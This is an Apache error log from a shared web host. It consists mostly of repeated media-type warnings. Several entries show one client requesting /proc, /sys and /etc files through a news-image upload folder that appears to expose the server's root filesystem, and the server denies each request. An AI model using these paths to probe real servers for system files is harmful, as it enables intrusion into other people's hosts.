[Fri Jul 17 09:42:50.053548 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.053565 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.067224 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.158116 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.158614 2026] [core:crit] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/fdinfo/' is executable
[Fri Jul 17 09:42:50.180115 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.252315 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.358725 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.482172 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.525423 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.539482 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:47386] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:50.616637 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.763553 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.799930 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.890500 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.980434 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.071379 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.169353 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:14/subsystem/drivers/battery/unbind
[Fri Jul 17 09:42:51.259758 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/subsystem/drivers/pvpanic/bind
[Fri Jul 17 09:42:51.344990 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.436007 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.527713 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.642846 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.805139 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.890511 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:51.988287 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:52.074410 2026] [autoindex:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/home/
[Fri Jul 17 09:42:52.349193 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:52.440241 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:52.521879 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:34026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:52.622994 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:52.719372 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:52.906347 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:52.993823 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.084790 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.175778 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.267022 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:14/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:42:53.359567 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.448428 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.540156 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.635030 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.741315 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.751873 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:34102] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:53.821761 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:53.823142 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/tty/tty37/subsystem/tty30/"] [unique_id "almrxejME1mgqYZ5O94u0wAAAAE"]
[Fri Jul 17 09:42:53.823179 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/tty/tty37/subsystem/tty30/"] [unique_id "almrxejME1mgqYZ5O94u0wAAAAE"]
[Fri Jul 17 09:42:54.001397 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.096488 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.184368 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.275885 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.465406 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.640550 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.733759 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.831790 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:54.917940 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.015687 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.102011 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.205364 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.297134 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.386072 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/sysconfig/ip6tables-config
[Fri Jul 17 09:42:55.477603 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477723 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477759 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477784 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477808 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477827 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477857 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477884 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477908 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477930 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477948 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477970 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.477991 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478012 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478034 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478067 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478090 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478112 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478134 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478153 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478173 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478194 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478219 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478240 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478261 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478282 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478307 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478351 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478395 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478417 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478438 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478458 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478479 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478500 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478522 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478542 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478563 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478583 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478614 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478634 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478656 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478676 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478694 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478715 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478736 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478756 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478777 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478797 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478819 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478840 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478861 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478881 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478901 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478921 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478939 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478958 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478977 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.478997 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479034 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479067 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479090 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479112 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479133 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479154 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479182 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479203 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479223 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479244 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479267 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479287 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479307 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479328 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479350 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479369 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479391 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479413 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479432 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479453 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479475 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479495 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479514 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479533 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479555 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479575 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479600 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479622 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479642 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479662 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479682 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479699 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479719 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479740 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.479762 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.569757 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/27/module/uevent
[Fri Jul 17 09:42:55.659586 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.754579 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.842335 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:55.943111 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:34248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:55.958892 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.023677 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.205484 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.298281 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.388142 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/subsystem/drivers/serial/unbind
[Fri Jul 17 09:42:56.479392 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.662094 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.863878 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:56.933950 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.023423 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.115804 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.212625 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/serio/devices/serio0/driver/uevent
[Fri Jul 17 09:42:57.344765 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344866 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344893 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344913 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344931 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344948 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344965 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.344984 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345003 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345022 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345038 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345079 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345109 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345127 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345145 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345163 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345181 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345198 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345216 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345233 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345250 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345279 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345301 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345319 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345336 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345353 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345371 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345389 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345405 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345422 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345439 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345456 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345473 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345491 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345509 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345526 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345543 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345559 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345577 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345614 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345654 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345688 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345713 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345731 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345748 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345765 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345783 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345802 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345821 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345838 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
